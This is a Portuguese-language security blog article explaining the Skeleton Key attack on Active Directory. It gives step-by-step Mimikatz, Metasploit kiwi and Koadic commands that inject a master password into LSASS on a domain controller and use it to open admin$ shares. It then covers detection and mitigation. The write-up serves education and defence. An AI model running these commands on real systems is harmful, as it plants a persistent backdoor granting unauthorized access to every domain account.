Skeleton Key: Deep dive

Deixe um comentário / Active Directory, Segurança

No artigo de hoje vamos falar sobre o Skeleton Key Attack que, em um grande resumo, é um tipo avançado de ataque contra Active Directory, em que o invasor pode usar uma senha universal para efetuar autenticação em qualquer conta do domínio e mais: sem alterar as credenciais reais armazenadas no AD.

1. Skeleton Key: MITRE & ATT&CK – T1556

No MITRE & ATT&ACK o Skeleton Key é uma técnica de persistência com intuito de realizar o Processo de modificação de Autenticação. O processo de autenticação é controlado por mecanismos, como o processo Local Security Authentication Server (LSASS) e o Security Accounts Manager (SAM) no Windows

O Skeleton Key é, essencialmente, uma implantação de uma senha universal (backdoor) na memória de um Controlador de Domínio.
Após a execução bem-sucedida do ataque:

  • Todas as contas do domínio continuam funcionando normalmente com suas senhas legítimas.
  • No entanto, também passam a aceitar uma “senha mágica” escolhida pelo atacante, sem que isso altere os dados do AD.

Objetivo: Permitir persistência furtiva e acesso privilegiado total ao domínio, sem modificar credenciais reais ou gerar eventos suspeitos nos logs padrão.

O Windows tem como opções usar NTLM e Kerberos para autenticação. Esses pacotes de autenticação são colocados em DLLs (Dynamic Link Libraries) que são carregadas no processo LSASS (Serviço de Subsistema de Autoridade de Segurança Local) e nos processos do cliente.

O ataque Skeleton Key adultera ambos os métodos de autenticação. Durante a autenticação NTLM, o hash da senha mestra injetada no processo LSAS não será correspondido ao banco de dados SAM (Embora seja combinado com o hash da chave mestra). Portanto, concluindo a autenticação. A criptografia Kerberos também será rebaixada para um algoritmo que não dá suporte a salt (RC4_HMAC_MD5) e o hash recuperado do Active Directory será substituído pelo hash da Chave Mestra. O hash da senha mestra será validado no lado do servidor. Isso levará a uma autenticação bem-sucedida para métodos Kerberos e NTLM.]

Esse desvio de autenticação se aplica a todos os serviços que usam autenticação AD de fator único, como webmail e VPNs, e também permite que um invasor com acesso físico ao sistema comprometido obtenha controle sobre o sistema inserindo a senha injetada fisicamente.

2. Pré-requisitos

Para executar o Skeleton Key, o atacante precisa de acesso administrativo local (SYSTEM) ao Controlador de Domínio (DC).
Esse acesso geralmente é obtido por meio de ataques prévios, como:

  • Pass-the-Hash (PtH)
  • Golden Ticket
  • Exploits de execução remota
  • Comprometimento de credenciais de Domain Admin

3. Injeção do backdoor na memória do LSASS

Com a execução do ‘skeleton‘ no controlador de domínio com privilégios elevados isso fará com que haja o downgrade da criptografia Kerberos para RC4_HMAC_MD5 e corrigirá o processo LSASS com uma senha mestra: mimikatz.

O atacante usa ferramentas como o Mimikatz para injetar um módulo (DLL) no processo lsass.exe, que intercepta a função de validação de senha do Kerberos/NTLM.

Primeiro, vamos depurar o privilégio:

mimikatz # privilege::debug
Privilege '20' OK

Recebemos a mensagem OK o que significa que estamos livres para seguir em frente. Vamos injetar a chave mestra na memória usando os comandos mostrados na imagem fornecida. A partir das mensagens OK, podemos ter certeza de que concluímos a tarefa com sucesso.

mimikatz # misc::skeleton
[KDC] data
[KDC] struct
[KDC] keys patch OK
[RC4] functions
[RC4] init patch OK
[RC4] decrypt patch OK

mimikatz #

Agora que injetamos a chave mestra, o servidor deve estar acessível para nós usando a senha “mimikatz”. Há uma longa lista de coisas que podemos fazer a partir daqui.

Abaixo vamos acessar o share admin$ de uma conta de domínio (Jhon Wick) e usando a senha mestra ap invés da senha real da conta

net use p: \\WIN-PTELU2U07KG\admin$ /user:john.wick mimikatz

E agora, como pode ser visto, o share admin$ foi acessado com a senha mestra

4. Ferramentas

4.1. Mimikatz

Como visto acima pode ser usado o mimikatz para realizar o ataque com os comandos

mimikatz # privilege::debug
mimikatz # misc::skeleton

4.2. Metasploit (Kiwi Module)

Primeiro, usaremos o Metasploit Framework. Comprometemos o sistema e ganhamos uma sessão meterpreter no DC. Após ganhar a sessão meterpreter, carregamos o módulo kiwi na sessão. Isso nos dá a capacidade de executar os comandos mimikatz diretamente do meterpreter. Usamos o comando kiwi_cmd para executar o comando de injeção de esqueleto no Sever.

load kiwi
kiwi_cmd misc::skeleton

O trabalho no servidor está feito. Agora é hora de comprometer o cliente. Após obter o meterpreter, executamos o comando shell. Novamente, para demonstrar a injeção bem-sucedida da chave de esqueleto, usaremos o comando net use para obter o diretório do servidor. Desta vez, nomeamos o disco Y. 

shell
powershell
net use Y: \\WIN-S0V7RMTVLD2\admin$ /user:Jhon.Wick mimikatz
cd Y:\
dir

O resultado será o acesso ao servidor usando a conta Jhon.Wick com a senha mimikatz.

4.3 Kodiac

Meterpreter é a abordagem básica. Koadic é uma moderna. Ganhamos a sessão no servidor mais uma vez. Desta vez, usaremos o implante Koadic para injetar a chave de esqueleto. Após ganhar uma sessão, selecionamos o implante com o comando use. O nome do implante que planejamos usar é “mimikatz_dynwrapx”. Ele nos dá uma funcionalidade semelhante à do kiwi meterpreter. Executamos o comando misc::skeleton com a ajuda da função MIMICMD. Ele injetou o esqueleto no servidor em pouco tempo.

use mimikatz_dynwrapx
set MIMICMD misc::skeleton
execute

Agora que injetamos com sucesso a chave na memória do servidor precisamos executar o comando net use para obter acesso aos diretórios do servidor. Como o net use é um comando nativo do Windows e estamos em um Linux neste exemplo, precisamos usar o implante exec_cmd para executar este comando. Podemos ver na imagem abaixo que o implante mostrou a resposta dizendo que o comando foi concluído com sucesso.

use implant/manage/exec_cmd
set CMD net use Y: \\WIN-S0V7KMTVLD2\admin$ /user:Administrator mimikatz
execute

Agora precisamos dar uma olhada na unidade Y recém-acessível. Novamente, usamos o mesmo implante com o comando dir definido para ele. Isso nos deu a lista de arquivos no diretório hospedado no servidor. Isso foi possível usando a senha ‘mimikatz’.

set CMD dir Y:\
execute

O resultado será o diretório Y: no servidor alvo.

5. Impactos do Skeleton Key

ImpactoDetalhes
🛑 Comprometimento TotalPermite acesso irrestrito ao AD sem alterar objetos
🧭 Alta PersistênciaEnquanto o DC estiver em execução, o backdoor estará ativo
🕵️‍♂️ Difícil DetecçãoNão há alteração em atributos de usuários ou senhas
🛡️ Bypass de Senhas Complexas ou MFAMFA baseado em senha é ignorado se o sistema permitir NTLM
🔄 Volatilidade (Reseta com Reboot)O backdoor é removido com a reinicialização do DC, pois ele reside apenas na memória

6. Métodos de detecção?

6.1. Monitorar anomalias no processo lsass.exe

  • Use EDRs (Ex: Defender for Endpoint, CrowdStrike, etc.) para detectar:
    • Injeção de código no LSASS
    • Carregamento de módulos não assinados
    • Uso de ferramentas como Mimikatz

6.2. Detectar logins simultâneos com senhas diferentes

  • Se houver login simultâneo na mesma conta com senhas diferentes (real + master), isso é um indicativo.
  • Use logs de segurança (Event ID 4624) e auditoria de rede para identificar comportamento suspeito.

6.3. Logs do Mimikatz/processos suspeitos

  • Comportamento anômalo com ferramentas como misc::skeleton pode ser detectado por:
Get-WinEvent -LogName Security | Where-Object { $_.Message -like "*lsass*" -and $_.Message -like "*inject*" }

6.4. Monitore o carregamento de bibliotecas no LSASS

  • Via logs de ferramentas como Sysmon (Event ID 7 – Image Load):
    • Alertar se DLLs não assinadas forem carregadas no processo lsass.exe.

7. Técnicas de mitigação

7.1 Ativar logs de segurança e análise comportamental

Habilitar auditoria avançada.

Usar ferramentas como:

Microsoft Defender for Identity

SIEMs (Sentinel, Splunk etc.) com alertas para eventos suspeitos em lsass.exe.

7.2 Minimizar o Número de Administradores do Domínio

Reduza o número de Domain Admins e use contas separadas para tarefas administrativas.

7.3 Monitorar e bloquear as ferramentas de ataque usando (EDR)

  • Use soluções como Defender for Endpoint, SentinelOne, CrowdStrike etc para bloquear:
    • Execução de Mimikatz
    • Injeções de DLL
    • Criação de processos com privilégios elevados

7.4 Monitorar e reiniciar DCs

  • Como o Skeleton Key reside na memória, um reboot do DC remove o backdoor.
  • Após qualquer suspeita de ataque, restringir o DC, fazer dump de memória para análise e reiniciar.

7.5 Proteger o LSASS com Credential Guard ou LSA Protection

  • Habilite LSA Protection (RunAsPPL) para impedir que processos não autorizados acessem o LSASS.

Credential Guard em Domain Controllers – Item importante

O Credential Guard é um recurso de segurança introduzido no Windows 10 Enterprise / Windows Server 2016 e posteriores, que utiliza recursos de virtualização baseada em hardware (VBS) para isolar informações sensíveis de autenticação, como:

  • Credenciais derivadas do Kerberos (TGTs)
  • Hashes NTLM
  • Senhas armazenadas
  • Tickets de autenticação

Ele move o processo de autenticação (ou parte dele) para uma área isolada da memória (o LSA isolado), que não pode ser acessado por processos privilegiados, mesmo com acesso administrativo ou SYSTEM.

Então o Credential Guard é a salvação? Bem… essa é uma meia-verdade técnica e geralmente está mal interpretada.

O Skeleton Key depende de modificar o LSASS local do Controlador de Domínio para interceptar e forjar validações de senha.

Onde o Credential Guard atua na proteção contra Skeleton Key?

Aqui está o ponto-chave:
O Credential Guard protege o LSASS local contra acesso e injeção de código em estações de trabalho e servidores membros.
👉 Mas ele não pode ser ativado diretamente em Controladores de Domínio (DCs).

❗ Logo:

  • Se o atacante tentar executar Skeleton Key em um servidor membro ou workstation com Credential Guard habilitado, a injeção no LSASS será bloqueada, interrompendo o ataque.
  • Mas se o atacante comprometer um Domain Controller (onde o Skeleton Key precisa ocorrer para funcionar de fato), o Credential Guard não estará presente, porque não é suportado oficialmente em DCs logo o ataque terá êxito.

Então Por que dizem que Credential Guard mitiga Skeleton Key?

  • Em muitos ataques reais, o invasor compromete primeiro estações de trabalho ou servidores membros.
  • Se esses sistemas estiverem protegidos com Credential Guard, o atacante não conseguirá extrair hashes (via Mimikatz) nem realizar ataques de Pass-the-Hash, Pass-the-Ticket, ou derivar TGTs.
  • Isso bloqueia uma etapa intermediária crucial para chegar até o DC e executar o Skeleton Key.

🔒 Portanto: Credential Guard não bloqueia o Skeleton Key diretamente, mas ajuda a prevenir que o invasor alcance o ponto onde ele pode executá-lo.

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *